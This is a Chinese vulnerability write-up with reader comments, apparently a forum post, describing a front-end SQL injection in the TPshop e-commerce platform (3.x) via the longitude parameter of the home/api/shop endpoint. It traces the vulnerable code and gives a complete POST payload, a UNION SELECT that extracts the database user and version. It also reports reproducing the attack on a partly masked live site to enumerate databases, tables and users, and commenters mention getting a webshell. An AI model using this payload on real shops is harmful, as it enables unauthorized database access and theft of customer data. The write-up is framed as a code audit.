某shop API接口前台注入(通杀3.X)
0x01 前言
TPshop是国内应用范围大、覆盖面广的电商软件产品,基于此,历经5年的时间,而发展成为国内先进的具备成熟且标准化的电商平台技术解决方案提供商。“TPshop” 的每一次新产品发布都引带头中国电商软件研发领域的潮流,持续为中国电子商务服务行业。同时公司建立了由多名科学家构成的行业及技术研究中心,对电商行业发展趋势、软件产品架构、技术性、新技术应用与创新等都做出了卓越贡献。
代码来源:
http://www.tp-shop.cn/download/
0x02 分析
跟踪到/application/home/controller/Api.php
控制器中的shop
方法:
流程分析:
379~384 Line: 获取外部输入并赋值给变量
385~387 Line: $province_id、$province_id、$district_id判断以上三个遍历是否为空,若成立返回空的json
388 Line: 将$province_id、$city_id、$district_id放入$where数组中以供SQL查询
389 Line: 定义变量$field并赋值为*
390 Line: 定义变量$order并赋值为shop_id desc
391 Line: 判断变量$longitude是否为真
392 Line: 将$longitude、$latitude拼接到SQL语句中并赋值到$field中
393 Line: 将$order赋值为distance ASC
395 Line: 判断$shop_address是否为真
396 Line: 将$shop_address放入$where数组中以供SQL查询
399 Line: 带入SQL查询
代码调试:
通过代码分析后发现$field
传入方法field
中,并不会将这个变量中的值预编译,而是直接带入中执行,接着来调试!在399行后添加代码如下:
print Db::name('region')->getlastsql();
getlastsql
方法在tp框架中是返回SQL语句也可以说是监听,接着往下走,访问
http://localhost:8083/index.php/home/api/shop
POST包:
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1
为longitude
参数赋值为1’
可以看到程序已经抛出了异常,MySQL执行错误,最终Payload如下:
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))%23
(实战中需根据字段数调整一下Payload)
漏洞复现:
示例站:http://www.e******.com/index.php/home/api/shop
字段数:28
查权限:
查库名:
查字段:
查用户:
(复现来源于互联网,如有打码不严还请手下留情。)
0x03 总结
贵州白马会头牌提醒您,代码千万行,安全第一条,开发(PDO)不规范,系统被插惨。
input 么有过滤??
进步很快啊,佩服
@postma****@lanme 啊哈??? 我去官网下载来审计时最新的也就不过3.x啊?
@CoolCat 有tp5和tp6的漏洞嘛
@0o0**** 能力有限 暂未挖掘到可以直接Getshell的 师傅手上有洞的话分享下咯 (一起投稿的还有这cms的其他两洞 敬请关注咯)
@150****1116 2.x在此洞之前就有注入的 所以就懒得去测是否影响2.x了
这个可以直接get webshell
2.0貌似也存在